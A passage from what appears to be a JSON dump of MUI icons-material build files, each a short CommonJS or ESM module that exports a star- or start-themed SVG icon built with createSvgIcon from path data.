    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarPurple500TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarPurple500TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.43 10 12 2l-2.43 8H2l6.18 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10z\"\n}), 'StarRate');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.43 10 12 2l-2.43 8H2l6.18 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10z\"\n}), 'StarRate');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarRateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarRateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.43 10-1.47-4.84c-.29-.95-1.63-.95-1.91 0L9.57 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.45z\"\n}), 'StarRateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.43 10-1.47-4.84c-.29-.95-1.63-.95-1.91 0L9.57 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.45z\"\n}), 'StarRateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.43 10 12 2l-2.43 8H2l6.18 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10z\"\n}), 'StarRateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.43 10 12 2l-2.43 8H2l6.18 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10z\"\n}), 'StarRateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.94 12 12 8.89 11.06 12H8.24l2.27 1.62-.93 3.01L12 14.79l2.42 1.84-.93-3.01L15.76 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10h-7.58L12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.17 22l-2.35-7.59zm-7.58 6.63L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82L12 8.89l.94 3.11h2.82l-2.27 1.62z\"\n}, \"1\")], 'StarRateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.94 12 12 8.89 11.06 12H8.24l2.27 1.62-.93 3.01L12 14.79l2.42 1.84-.93-3.01L15.76 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10h-7.58L12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.17 22l-2.35-7.59zm-7.58 6.63L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82L12 8.89l.94 3.11h2.82l-2.27 1.62z\"\n}, \"1\")], 'StarRateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 17.27 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.72 3.67-3.18c.67-.58.31-1.68-.57-1.75l-4.83-.41-1.89-4.46c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08z\"\n}), 'StarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 17.27 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.72 3.67-3.18c.67-.58.31-1.68-.57-1.75l-4.83-.41-1.89-4.46c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08z\"\n}), 'StarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15.4-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}, \"1\")], 'StarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15.4-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}, \"1\")], 'StarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stars.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23z\"\n}), 'Stars');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stars.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23z\"\n}), 'Stars');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m7.48 7.16-5.01-.43-2-4.71c3.21.19 5.91 2.27 7.01 5.14m-5.07 6.26L12 13.98l-2.39 1.44.63-2.72-2.11-1.83 2.78-.24L12 8.06l1.09 2.56 2.78.24-2.11 1.83zm-2.86-11.4-2 4.72-5.02.43c1.1-2.88 3.8-4.97 7.02-5.15M4 12c0-.64.08-1.26.23-1.86l3.79 3.28-1.11 4.75C5.13 16.7 4 14.48 4 12m3.84 6.82L12 16.31l4.16 2.5c-1.22.75-2.64 1.19-4.17 1.19-1.52 0-2.94-.44-4.15-1.18m9.25-.65-1.11-4.75 3.79-3.28c.14.59.23 1.22.23 1.86 0 2.48-1.14 4.7-2.91 6.17\"\n}), 'StarsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m7.48 7.16-5.01-.43-2-4.71c3.21.19 5.91 2.27 7.01 5.14m-5.07 6.26L12 13.98l-2.39 1.44.63-2.72-2.11-1.83 2.78-.24L12 8.06l1.09 2.56 2.78.24-2.11 1.83zm-2.86-11.4-2 4.72-5.02.43c1.1-2.88 3.8-4.97 7.02-5.15M4 12c0-.64.08-1.26.23-1.86l3.79 3.28-1.11 4.75C5.13 16.7 4 14.48 4 12m3.84 6.82L12 16.31l4.16 2.5c-1.22.75-2.64 1.19-4.17 1.19-1.52 0-2.94-.44-4.15-1.18m9.25-.65-1.11-4.75 3.79-3.28c.14.59.23 1.22.23 1.86 0 2.48-1.14 4.7-2.91 6.17\"\n}), 'StarsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.23 15.39L12 15.45l-3.22 1.94c-.38.23-.85-.11-.75-.54l.85-3.66-2.83-2.45c-.33-.29-.15-.84.29-.88l3.74-.32 1.46-3.45c.17-.41.75-.41.92 0l1.46 3.44 3.74.32c.44.04.62.59.28.88l-2.83 2.45.85 3.67c.1.43-.36.77-.74.54\"\n}), 'StarsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.23 15.39L12 15.45l-3.22 1.94c-.38.23-.85-.11-.75-.54l.85-3.66-2.83-2.45c-.33-.29-.15-.84.29-.88l3.74-.32 1.46-3.45c.17-.41.75-.41.92 0l1.46 3.44 3.74.32c.44.04.62.59.28.88l-2.83 2.45.85 3.67c.1.43-.36.77-.74.54\"\n}), 'StarsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23z\"\n}), 'StarsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23z\"\n}), 'StarsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.47 9.16c-1.1-2.87-3.8-4.95-7.01-5.14l2 4.71zm-7.93-5.14c-3.22.18-5.92 2.27-7.02 5.15l5.02-.43zm-7.31 6.12C4.08 10.74 4 11.36 4 12c0 2.48 1.14 4.7 2.91 6.17l1.11-4.75zm15.54-.01-3.79 3.28 1.1 4.76C18.86 16.7 20 14.48 20 12c0-.64-.09-1.27-.23-1.87M7.84 18.82c1.21.74 2.63 1.18 4.15 1.18 1.53 0 2.95-.44 4.17-1.18L12 16.31z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m7.48 7.16-5.01-.43-2-4.71c3.21.19 5.91 2.27 7.01 5.14M12 8.06l1.09 2.56 2.78.24-2.11 1.83.63 2.73L12 13.98l-2.39 1.44.63-2.72-2.11-1.83 2.78-.24zm-.46-4.04-2 4.72-5.02.43c1.1-2.88 3.8-4.97 7.02-5.15M4 12c0-.64.08-1.26.23-1.86l3.79 3.28-1.11 4.75C5.14 16.7 4 14.48 4 12m7.99 8c-1.52 0-2.94-.44-4.15-1.18L12 16.31l4.16 2.51c-1.22.74-2.64 1.18-4.17 1.18m5.1-1.83-1.1-4.76 3.79-3.28c.13.6.22 1.23.22 1.87 0 2.48-1.14 4.7-2.91 6.17\"\n}, \"1\")], 'StarsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.47 9.16c-1.1-2.87-3.8-4.95-7.01-5.14l2 4.71zm-7.93-5.14c-3.22.18-5.92 2.27-7.02 5.15l5.02-.43zm-7.31 6.12C4.08 10.74 4 11.36 4 12c0 2.48 1.14 4.7 2.91 6.17l1.11-4.75zm15.54-.01-3.79 3.28 1.1 4.76C18.86 16.7 20 14.48 20 12c0-.64-.09-1.27-.23-1.87M7.84 18.82c1.21.74 2.63 1.18 4.15 1.18 1.53 0 2.95-.44 4.17-1.18L12 16.31z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m7.48 7.16-5.01-.43-2-4.71c3.21.19 5.91 2.27 7.01 5.14M12 8.06l1.09 2.56 2.78.24-2.11 1.83.63 2.73L12 13.98l-2.39 1.44.63-2.72-2.11-1.83 2.78-.24zm-.46-4.04-2 4.72-5.02.43c1.1-2.88 3.8-4.97 7.02-5.15M4 12c0-.64.08-1.26.23-1.86l3.79 3.28-1.11 4.75C5.14 16.7 4 14.48 4 12m7.99 8c-1.52 0-2.94-.44-4.15-1.18L12 16.31l4.16 2.51c-1.22.74-2.64 1.18-4.17 1.18m5.1-1.83-1.1-4.76 3.79-3.28c.13.6.22 1.23.22 1.87 0 2.48-1.14 4.7-2.91 6.17\"\n}, \"1\")], 'StarsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Start.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'Start');"
  },
  {
    "path": "packages/mui-icons-material/lib/Start.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'Start');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.29 17.29c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L16.7 6.7a.996.996 0 0 0-1.41 0c-.38.39-.39 1.03 0 1.42L18.17 11H7c-.55 0-1 .45-1 1s.45 1 1 1h11.17l-2.88 2.88c-.39.39-.39 1.02 0 1.41M3 18c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1\"\n}), 'StartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.29 17.29c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L16.7 6.7a.996.996 0 0 0-1.41 0c-.38.39-.39 1.03 0 1.42L18.17 11H7c-.55 0-1 .45-1 1s.45 1 1 1h11.17l-2.88 2.88c-.39.39-.39 1.02 0 1.41M3 18c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v10c0 .55.45 1 1 1\"\n}), 'StartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartTwoTone.js",
